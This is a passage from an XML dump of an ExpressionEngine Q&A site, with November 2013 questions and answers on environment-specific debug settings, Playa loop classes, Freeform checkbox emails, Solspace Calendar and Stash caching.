exact in regards to full domain and not just primary domain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This allowed me to re-enable both addons and use them without issue. Of course, this will depend on your settings and equipment usage/availability.&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2013-11-26T16:41:26.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17157" PostTypeId="1" CreationDate="2013-11-26T16:46:54.930" Score="2" ViewCount="586" Body="&lt;p&gt;I currently have environment variables in my config.php file to deal with databases but on the last couple of project I've had to turn on debug on more than one occasion. I added $config['debug'] = &quot;1&quot;; to my db environment variables in config.php but it doesn't seem to work as I had expected (i.e. switching debug = 0 to 1 in index.php, which does work by the way). I would love to have debug turned on for all my development and staging environments but off for the live site. Any suggestions? Should I comment out the debug in index.php? Any other areas that might overwrite this variable in config.php?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Current Environment variables for the database and debug values:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Environmental Variables&#xA;-------------------------------------------------------------------*/&#xA;switch ( $_SERVER['HTTP_HOST'] ) {&#xA;&#xA;    // local&#xA;    case 'site.dev' :&#xA;    $db['expressionengine']['hostname'] = &quot;&quot;;&#xA;    $db['expressionengine']['username'] = &quot;&quot;;&#xA;    $db['expressionengine']['password'] = &quot;&quot;;&#xA;    $db['expressionengine']['database'] = &quot;&quot;;&#xA;    $config['debug'] = &quot;1&quot;;&#xA;    break;&#xA;&#xA;    //staging&#xA;    case 'staging.site.dev' :&#xA;    $db['expressionengine']['hostname'] = &quot;&quot;;&#xA;    $db['expressionengine']['username'] = &quot;&quot;;&#xA;    $db['expressionengine']['password'] = &quot;&quot;;&#xA;    $db['expressionengine']['database'] = &quot;&quot;;&#xA;    $config['debug'] = &quot;1&quot;;&#xA;    break;&#xA;&#xA;    // production&#xA;    case 'site.com' :&#xA;    $db['expressionengine']['hostname'] = &quot;&quot;;&#xA;    $db['expressionengine']['username'] = &quot;&quot;;&#xA;    $db['expressionengine']['password'] = &quot;&quot;;&#xA;    $db['expressionengine']['database'] = &quot;&quot;;&#xA;    $config['debug'] = &quot;0&quot;;&#xA;    break;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="237" LastActivityDate="2013-11-26T17:06:56.550" Title="Having issues with $config['debug'] = &quot;1&quot; and environments" Tags="|config|debugging|configuration-variables|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17158" PostTypeId="2" ParentId="17157" CreationDate="2013-11-26T16:49:43.190" Score="0" Body="&lt;p&gt;I'd guess it's being overwritten later down in your config file... Remove that instance &amp;amp; the setting should work.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-11-26T16:49:43.190" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17159" PostTypeId="2" ParentId="17147" CreationDate="2013-11-26T16:56:01.147" Score="0" Body="&lt;p&gt;Without seeing your code, we can only guess. I'd guess you need to add the domain to your return address:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout return=&quot;https://domain.com/order/ORDER_HASH&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-11-26T16:56:01.147" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17160" PostTypeId="2" ParentId="17142" CreationDate="2013-11-26T17:00:40.687" Score="0" Body="&lt;p&gt;To answer your direct question, it is not possible to delete a member and keep their comments using EE's native process of deleting members. Deleting a member from the control panel will delete the comments. I believe you can elect to have entries/comments moved to a different member.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-11-26T17:00:40.687" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17161" PostTypeId="2" ParentId="17157" CreationDate="2013-11-26T17:06:56.550" Score="2" Body="&lt;p&gt;If you are going to set it in config.php (instead of index.php or admin.php), you have to set it to 2 instead of 1.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['debug'] = 2;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-11-26T17:06:56.550" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17162" PostTypeId="1" AcceptedAnswerId="17189" CreationDate="2013-11-26T17:12:42.220" Score="1" ViewCount="97" Body="&lt;p&gt;I've started using Solspace's &lt;em&gt;Date Field Filter&lt;/em&gt; plugin. Is there any way to make the plugin show yearly headings? Something equivalent to EE's {date_heading display=&quot;yearly&quot;}, which doesn't work with the plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got a list of awards that I want to break up by date on a single page, e.g. 2013 winners, 2012 winners, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current work-around is to set the entry date as the award date, but I'd rather not do it that way (for a variety of reasons).&lt;/p&gt;&#xA;" OwnerUserId="1717" LastActivityDate="2013-12-02T22:12:43.603" Title="Solspace's Date Field Filter - can it do date headings?" Tags="|solspace|date|filter|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17163" PostTypeId="1" CreationDate="2013-11-26T17:14:32.800" Score="1" ViewCount="136" Body="&lt;p&gt;I'm trying to apply a class of odd or even based on the count within a playa field. My website is for a company with 13 branches &amp;amp; 15 products. Not all branches sell all products so I have created a Products channel &amp;amp; an Offices channel and used Playa to add relevant products to each office.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'd like to happen is for a class of odd or even to be applied to the opening div that will make the products display either two or three across, depending on the count. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's actually happening is that no matter what my count, the first div always gets applied as odd and the rest as even. I've tried total_count but that won't even apply the right class to the first div. Am I doing something fundamentally wrong or is this just not the right approach to take?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:children field=&quot;office_products&quot;}&#xA;            {if {count} == &quot;1|3|5|7|9|11|13|15&quot;}&#xA;                &amp;lt;div class=&quot;product odd&quot;&amp;gt;&#xA;            {if:else}&#xA;                &amp;lt;div class=&quot;product even&quot;&amp;gt;&#xA;            {/if}&#xA;                &amp;lt;div class=&quot;insurance_type&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;product_image&quot;&amp;gt;&#xA;                        {exp:ce_img:pair src=&quot;{product_logo}&quot;}&#xA;                                &amp;lt;img src=&quot;{made}&quot; alt=&quot;{title}&quot; width=&quot;{width}&quot; height=&quot;{height}&quot; /&amp;gt;&#xA;                        {/exp:ce_img:pair}&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;                    {exp:ce_str:ing truncate=&quot;88&quot;}&amp;lt;h3&amp;gt;{product_short_intro}&amp;lt;/h3&amp;gt;{/exp:ce_str:ing}&#xA;                    {exp:switchee variable=&quot;{segment_3}&quot; parse=&quot;inward&quot;}&#xA;                        {case value=&quot;&quot;}&#xA;                            &amp;lt;a href=&quot;#&quot; data-reveal-id=&quot;myModal_{url_title}&quot; class=&quot;button&quot;&amp;gt;Get A Quote&amp;lt;/a&amp;gt;&#xA;                        {/case}&#xA;                        {case value=&quot;services&quot;}&#xA;                        &amp;lt;a href=&quot;{site_url}offices/{segment_2}/services/{url_title}&quot; class=&quot;button&quot;&amp;gt;More Information&amp;lt;/a&amp;gt;&#xA;                        {/case}&#xA;                    {/exp:switchee}&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;div id=&quot;myModal_{url_title}&quot; class=&quot;reveal-modal small&quot;&amp;gt;&#xA;              &amp;lt;h2&amp;gt;Get a {title} Quote&amp;lt;/h2&amp;gt;&#xA;&#xA;                {exp:forms:form form_name=&quot;quote_now&quot; display_error=&quot;inline&quot;}&#xA;                    {forms:fields}&#xA;                            {forms:field}&#xA;                    {/forms:fields}&#xA;                {/exp:forms:form}&#xA;&#xA;              &amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;&#xA;              &amp;lt;a class=&quot;close-reveal-modal&quot;&amp;gt;&amp;amp;#215;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        {/exp:playa:children}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="628" LastEditorUserId="628" LastEditDate="2013-11-26T17:27:27.387" LastActivityDate="2013-11-29T09:24:00.533" Title="Can't achieve conditional within Playa using {count}" Tags="|playa|pixelandtonic|count|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17164" PostTypeId="2" ParentId="17152" CreationDate="2013-11-26T17:18:00.717" Score="3" Body="&lt;p&gt;I've not seen that before. Odd one! Take a look here at sample code for setting status from that hook. Maybe it will provide some direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/CartThrob/extension-change_product_status&quot; rel=&quot;nofollow&quot;&gt;https://github.com/CartThrob/extension-change_product_status&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In theory, sagepay should hit the callback url on payment complete (extload.php) and POST it the payment status flag (Y,C etc) which CT then interprets into the status to set the entry to.&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2013-11-26T17:18:00.717" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17168" PostTypeId="1" CreationDate="2013-11-26T17:30:58.647" Score="1" ViewCount="301" Body="&lt;p&gt;I have a form, that has 2 sections where you can select multiple checkboxes and I have not figured out how to get those checkboxes to show up in the email. Here is what the checkboxes look like on the form: &lt;img src=&quot;https://i.stack.imgur.com/FbBBo.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the locations and characteristics saved in a checkbox group in the back in of Freeform Pro. There is a label and value assigned to each option. My code looks like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                                    &amp;lt;tr&amp;gt;&#xA;                    &amp;lt;td style=&quot;text-align: left; font-weight: bold;&quot;&amp;gt;&amp;lt;b&amp;gt;Location Preference (check all that apply)&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;                &amp;lt;tr&amp;gt;&#xA;                    &amp;lt;td style=&quot;text-align: left&quot; width=&quot;300&quot; bgcolor=&quot;#efeff0&quot;&amp;gt;&amp;lt;label&amp;gt;Great Bend &amp;lt;/label&amp;gt;&amp;lt;input name=&quot;great_bend&quot; value=&quot;Great Bend&quot; name=&quot;support[]&quot; type=&quot;checkbox&quot; id=&quot;great_bend&quot;&amp;gt;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;                &amp;lt;tr&amp;gt;&#xA;                    &amp;lt;td style=&quot;text-align: left&quot; width=&quot;300&quot; bgcolor=&quot;#efeff0&quot;&amp;gt;&amp;lt;label&amp;gt;Hays &amp;lt;/label&amp;gt;&amp;lt;input name=&quot;hays&quot; value=&quot;Hays&quot; name=&quot;support[]&quot; type=&quot;checkbox&quot; id=&quot;hays&quot;&amp;gt;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;                &amp;lt;tr&amp;gt;&#xA;                    &amp;lt;td style=&quot;text-align: left&quot; width=&quot;300&quot; bgcolor=&quot;#efeff0&quot;&amp;gt;&amp;lt;label&amp;gt;McPherson &amp;lt;/label&amp;gt;&amp;lt;input name=&quot;mcpherson&quot; value=&quot;McPherson&quot; name=&quot;support[]&quot; type=&quot;checkbox&quot; id=&quot;mcpherson&quot;&amp;gt;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;                &amp;lt;tr&amp;gt;&#xA;                    &amp;lt;td style=&quot;text-align: left&quot; width=&quot;300&quot; bgcolor=&quot;#efeff0&quot;&amp;gt;&amp;lt;label&amp;gt;Hutchinson &amp;lt;/label&amp;gt;&amp;lt;input name=&quot;hutchinson&quot; value=&quot;Hutchinson&quot; name=&quot;support[]&quot; type=&quot;checkbox&quot; id=&quot;hutchinson&quot;&amp;gt;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;                &amp;lt;tr&amp;gt;&#xA;                    &amp;lt;td style=&quot;text-align: left&quot; width=&quot;300&quot; bgcolor=&quot;#efeff0&quot;&amp;gt;&amp;lt;label&amp;gt;Colby &amp;lt;/lable&amp;gt;&amp;lt;input name=&quot;colby&quot; value=&quot;Colby&quot; name=&quot;support[]&quot; type=&quot;checkbox&quot; id=&quot;colby&quot;&amp;gt;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;                &amp;lt;tr&amp;gt;&#xA;                    &amp;lt;td style=&quot;text-align: left&quot; width=&quot;300&quot; bgcolor=&quot;#efeff0&quot;&amp;gt;&amp;lt;label&amp;gt;Wichita &amp;lt;/lable&amp;gt;&amp;lt;input name=&quot;wichita&quot; value=&quot;Witchita&quot; name=&quot;support[]&quot; type=&quot;checkbox&quot; id=&quot;wichita&quot;&amp;gt;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;                &amp;lt;tr&amp;gt;&#xA;                    &amp;lt;td style=&quot;text-align: left; font-weight: bold;&quot;&amp;gt;Desired Characteristics of Your IDEAL Firm&amp;lt;br /&amp;gt;&amp;lt;span style=&quot;font-weight: normal; font-size: .9em;&quot;&amp;gt;Please check your top three characteristics&amp;lt;/span&amp;gt;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;                &amp;lt;tr&amp;gt;&#xA;                    &amp;lt;td style=&quot;text-align: left&quot; width=&quot;300&quot; bgcolor=&quot;#efeff0&quot;&amp;gt;&amp;lt;label&amp;gt;Compensation and benefits &amp;lt;/label&amp;gt;&amp;lt;input name=&quot;benefits&quot; value=&quot;benefits&quot; name=&quot;idea_characteristics[]&quot; type=&quot;checkbox&quot; id=&quot;benefits&quot;&amp;gt;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;                &amp;lt;tr&amp;gt;&#xA;                    &amp;lt;td style=&quot;text-align: left&quot; width=&quot;300&quot; bgcolor=&quot;#efeff0&quot;&amp;gt;&amp;lt;label&amp;gt;Networking / Future job opportunities &amp;lt;/label&amp;gt;&amp;lt;input name=&quot;networking&quot; value=&quot;networking&quot; name=&quot;idea_characteristics[]&quot; type=&quot;checkbox&quot; id=&quot;networking&quot;&amp;gt;&amp;lt;/td&amp;gt;&#xA;&#xA;                &amp;lt;/tr&amp;gt;&#xA;                &amp;lt;tr&amp;gt;&#xA;                    &amp;lt;td style=&quot;text-align: left&quot; width=&quot;300&quot; bgcolor=&quot;#efeff0&quot;&amp;gt;&amp;lt;label&amp;gt;Client Size &amp;lt;/label&amp;gt;&amp;lt;input name=&quot;client_size&quot; value=&quot;client_size&quot; name=&quot;idea_characteristics[]&quot; type=&quot;checkbox&quot; id=&quot;client_size&quot;&amp;gt;&amp;lt;/td&amp;gt;&#xA;&#xA;                &amp;lt;/tr&amp;gt;&#xA;                &amp;lt;tr&amp;gt;&#xA;                    &amp;lt;td style=&quot;text-align: left&quot; width=&quot;300&quot; bgcolor=&quot;#efeff0&quot;&amp;gt;&amp;lt;label&amp;gt;Firm Location &amp;lt;/label&amp;gt;&amp;lt;input name=&quot;location&quot; value=&quot;locations&quot; name=&quot;idea_characteristics[]&quot; type=&quot;checkbox&quot; id=&quot;location2&quot;&amp;gt;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;                &amp;lt;tr&amp;gt;&#xA;                    &amp;lt;td style=&quot;text-align: left&quot; width=&quot;300&quot; bgcolor=&quot;#efeff0&quot;&amp;gt;&amp;lt;label&amp;gt;Opportunity for travel &amp;lt;/label&amp;gt;&amp;lt;input name=&quot;travel&quot; value=&quot;travel&quot; name=&quot;idea_characteristics[]&quot; type=&quot;checkbox&quot; id=&quot;travel&quot;&amp;gt;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;                &amp;lt;tr&amp;gt;&#xA;                    &amp;lt;td style=&quot;text-align: left&quot; width=&quot;300&quot; bgcolor=&quot;#efeff0&quot;&amp;gt;&amp;lt;label&amp;gt;Experience in variety of industries &amp;lt;/label&amp;gt;&amp;lt;input name=&quot;experience&quot; value=&quot;experience&quot; name=&quot;idea_characteristics[]&quot; type=&quot;checkbox&quot; id=&quot;experience&quot;&amp;gt;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;                &amp;lt;tr&amp;gt;&#xA;                    &amp;lt;td style=&quot;text-align: left&quot; width=&quot;300&quot; bgcolor=&quot;#efeff0&quot;&amp;gt;&amp;lt;label&amp;gt;Opportunities for internal advancement &amp;lt;/label&amp;gt;&amp;lt;input name=&quot;advancement&quot; value=&quot;advancement&quot; name=&quot;idea_characteristics[]&quot; type=&quot;checkbox&quot; id=&quot;advancement&quot;&amp;gt;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;                &amp;lt;tr&amp;gt;&#xA;                    &amp;lt;td style=&quot;text-align: left&quot; width=&quot;300&quot; bgcolor=&quot;#efeff0&quot;&amp;gt;&amp;lt;label&amp;gt;Work / Life balance &amp;lt;/label&amp;gt;&amp;lt;input name=&quot;balance&quot; value=&quot;balance&quot; name=&quot;idea_characteristics[]&quot; type=&quot;checkbox&quot;&amp;gt;&amp;lt;/td&amp;gt;                 &#xA;                &amp;lt;/tr&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tired a few different things as you can see in the code. But, so far nothing has worked. How can I get this to work properly?&lt;/p&gt;&#xA;" OwnerUserId="890" LastActivityDate="2013-12-26T18:37:20.610" Title="How to output a checkbox group to email in hard code" Tags="|solspace-freeform|solspace|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17169" PostTypeId="2" ParentId="17163" CreationDate="2013-11-26T17:32:29.997" Score="0" Body="&lt;p&gt;Try &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#switch&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;switch&lt;/strong&gt;&lt;/a&gt; instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{switch=&quot;&amp;lt;div class='product odd'&amp;gt;|&amp;lt;div class='product even'&amp;gt;&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or &lt;a href=&quot;http://www.w3.org/Style/Examples/007/evenodd.en.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;nth-child CSS selector&lt;/strong&gt;&lt;/a&gt; if you need this for styling:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.product:nth-child(odd)&#xA;.product:nth-child(even)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-11-26T17:52:47.840" LastActivityDate="2013-11-26T17:52:47.840" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17170" PostTypeId="1" AcceptedAnswerId="17171" CreationDate="2013-11-26T17:36:12.817" Score="1" ViewCount="457" Body="&lt;p&gt;I have a long page with 5 anchor tags. The pull down menu is /boxoffice/season#1,  /boxoffice/season#2,  /boxoffice/season#3, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However when I go to the menu and click on the link it works for about one second and then it pops back up to the top of the page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see the URL change in the address bar from  /boxoffice/season#1 to just boxoffice/season. It auto removes the #1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this an EE thing for some other conflict. Looking for some ideas. &lt;/p&gt;&#xA;" OwnerUserId="1330" LastActivityDate="2013-11-26T17:37:43.213" Title="Anchor tags removing hash tag in URL" Tags="|url|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17171" PostTypeId="2" ParentId="17170" CreationDate="2013-11-26T17:37:43.213" Score="1" Body="&lt;p&gt;Sounds like a JS conflict to me. This shouldn't be anything related to EE.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-11-26T17:37:43.213" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17172" PostTypeId="2" ParentId="17168" CreationDate="2013-11-26T17:40:20.367" Score="1" Body="&lt;p&gt;Make sure {idea_characteristics} is also in your email notification template. &lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-11-26T17:40:20.367" CommentCount="15" ContentLicense="CC BY-SA 3.0" />
  <row Id="17173" PostTypeId="1" CreationDate="2013-11-26T17:55:06.917" Score="0" ViewCount="72" Body="&lt;p&gt;I'm trying to display a list of my solspace calendar events, with all the event fields that I have. This is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:events orderby=&quot;event_start_date&quot; sort=&quot;asc&quot; date_range_start=&quot;today&quot; show_months=&quot;12&quot; dynamic=&quot;off&quot;}&#xA;    &amp;lt;p&amp;gt;{event_location}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;{event_summary}&amp;lt;/p&amp;gt;&#xA;{/exp:calendar:events}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't know whether I'm doing something really silly but my event location and summary won't show. There's definitely content in these fields and the solspace examples says you can add these fields in the the exp:calendar:events tag so I'm not sure what I'm doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="1566" LastActivityDate="2013-11-26T18:12:06.093" Title="Solspace calendar display event details" Tags="|solspace|solspace-calendar|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17174" PostTypeId="1" AcceptedAnswerId="17176" CreationDate="2013-11-26T17:58:31.950" Score="3" ViewCount="126" Body="&lt;p&gt;I am running into an odd issue when submitting content entry forms in the EE CMS. Whenever I submit a form I see this response in my browser: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cQi9D.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not sure what is causing this issue but it seems like an error. Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;EE v2.7.2&lt;br /&gt;&#xA;Calendar&lt;br /&gt;&#xA;CartThrob Pro&lt;br /&gt;&#xA;CT Admin&lt;br /&gt;&#xA;Freeform&lt;br /&gt;&#xA;Structure&lt;br /&gt;&#xA;Wygwam&lt;br /&gt;&#xA;Matrix&lt;br /&gt;&#xA;Freebie&lt;br /&gt;&#xA;And a couple more smaller plug-ins and extensions.&lt;/p&gt;&#xA;" OwnerUserId="944" LastEditorUserId="22" LastEditDate="2013-11-26T18:32:26.697" LastActivityDate="2013-11-26T18:32:26.697" Title="Error on Content Entry Submit in EE: Control Panel Giving JSON Responses in the Browser" Tags="|ee2|control-panel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17175" PostTypeId="2" ParentId="17173" CreationDate="2013-11-26T18:12:06.093" Score="1" Body="&lt;p&gt;Not sure why but I had the whole thing wrapped in {exp:calendar:calendars} tags? I've removed them and now it works fine.&lt;/p&gt;&#xA;" OwnerUserId="1566" LastActivityDate="2013-11-26T18:12:06.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17176" PostTypeId="2" ParentId="17174" CreationDate="2013-11-26T18:15:06.877" Score="5" Body="&lt;p&gt;I've seen this before as well and it seems to be something that can happen with Media Temple hosting when FastCGI is enabled. It looks like you're using MediaTemple so I'm guessing that's your issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a couple threads in the EE Forums about this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ellislab.com/forums/viewthread/237463/#1058085&quot;&gt;Control Panel Giving JSON Responses in the Browser on Content Edit /&#xA;Update&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ellislab.com/forums/viewthread/237416/#1058082&quot;&gt;Error When Submitting&#xA;Changes&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And a warning about ExpressionEngine and Fast CGI in the &lt;a href=&quot;https://kb.mediatemple.net/questions/1890/How+do+I+enable+FastCGI?#gs/req_gs&quot;&gt;Media Temple Knowledge Base&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fix is to edit the PHP settings for that domain inside your Media Temple hosting control panel.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2013-11-26T18:15:06.877" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17177" PostTypeId="1" CreationDate="2013-11-26T18:32:49.053" Score="1" ViewCount="140" Body="&lt;p&gt;I have a client that wants to setup a system that they can upload serial numbers for their products for warranty information. Then users can submit their serial number on the front-end and it would check against what was entered to see if that serial number is valid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll use Solspace's Importer to allow them to upload the data to the website and build a Safecracker form for visitors, but what do you guys think would be the best way of comparing what serial numbers are valid and checking that against what the visitors enter?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many approaches I could take with this and wanted to hear your thoughts first!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks again!&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2013-11-27T02:26:16.543" Title="Serial Number Registration Lookup" Tags="|safecracker|solspace-importer|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17178" PostTypeId="1" AcceptedAnswerId="17197" CreationDate="2013-11-26T18:37:09.973" Score="3" ViewCount="164" Body="&lt;p&gt;I'm still trying to fully wrap my brain around Stash's cacheing system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the docs it seems that both &lt;a href=&quot;https://github.com/croxton/Stash/wiki/%7Bexp%3astash%3aset%7D&quot; rel=&quot;nofollow&quot;&gt;:set&lt;/a&gt; and &lt;a href=&quot;https://github.com/croxton/Stash/wiki/%7Bexp%3astash%3aget%7D&quot; rel=&quot;nofollow&quot;&gt;:get&lt;/a&gt; have the parameters &lt;code&gt;save&lt;/code&gt;, &lt;code&gt;scope&lt;/code&gt;, &lt;code&gt;replace&lt;/code&gt;, and &lt;code&gt;refresh&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a benefit to using both?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had thought that perhaps saving on set could be used to store raw data and saving on get could be used to store formatted data. So for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;products&quot; parse_tags=&quot;yes&quot; &#xA; save=&quot;yes&quot; refresh=&quot;60&quot; replace=&quot;no&quot; scope=&quot;site&quot;}&#xA;    {exp:low_variables:pair var=&quot;lv_products&quot;}&#xA;        {stash:prod_image}{image}{/stash:prod_image}&#xA;        {stash:prod_url}{link}{/stash:prod_url}&#xA;        {stash:prod_title}{link_title}{/stash:prod_title}&#xA;    {/exp:low_variables:pair}&#xA;{/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list:nested name=&quot;products&quot;&#xA; save=&quot;yes&quot; refresh=&quot;60&quot; replace=&quot;no&quot; scope=&quot;site&quot;}&#xA;{if count == 1}&amp;lt;ul&amp;gt;{/if}&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{other_prod_url}&quot;&amp;gt;{other_prod_image} &amp;lt;b&amp;gt;{other_prod_title}&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/if count == total_results}&amp;lt;/ul&amp;gt;{/if}&#xA;{/exp:stash:get_list:nested}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In a more &quot;real world&quot; example. I have a rather complex drop-down navigation that is built off nav:ee but includes low variables with playa, and matrix to create &quot;mega-dropdowns&quot; I stash each bit of data individually, but then also tried to stash the entire generated menu with the page uri as a context.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a correct/beneficial &quot;layered caching&quot; approach? Or am I missing something here? :)&lt;/p&gt;&#xA;" OwnerUserId="787" LastActivityDate="2013-11-27T11:27:52.637" Title="Stash saving on :get and :set performance benefits?" Tags="|stash|performance|caching|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
